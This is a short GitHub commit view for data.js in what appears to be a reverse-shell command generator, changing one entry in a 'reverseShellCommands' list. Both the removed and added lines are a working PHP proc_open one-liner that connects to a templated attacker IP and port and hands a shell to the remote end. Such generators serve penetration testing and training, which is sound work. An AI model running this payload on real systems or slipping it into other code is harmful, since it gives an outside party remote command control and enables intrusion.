Update data.js

Fixed incorrect flag, if user decides not to use a compatible shell.
This commit is contained in:
Ryan Montgomery 2021-06-04 10:23:22 -04:00 committed by GitHub
parent f19c7a1a82
commit 1e037d8d13
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -151,7 +151,7 @@ const reverseShellCommands = withCommandType(
},
{
"name": "PHP proc_open",
"command": "php -r '$sock=fsockopen(\"{ip}\",{port});$proc=proc_open(\"{shell} -i\", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'",
"command": "php -r '$sock=fsockopen(\"{ip}\",{port});$proc=proc_open(\"{shell}\", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'",
"meta": ["linux", "windows", "mac"]
},
{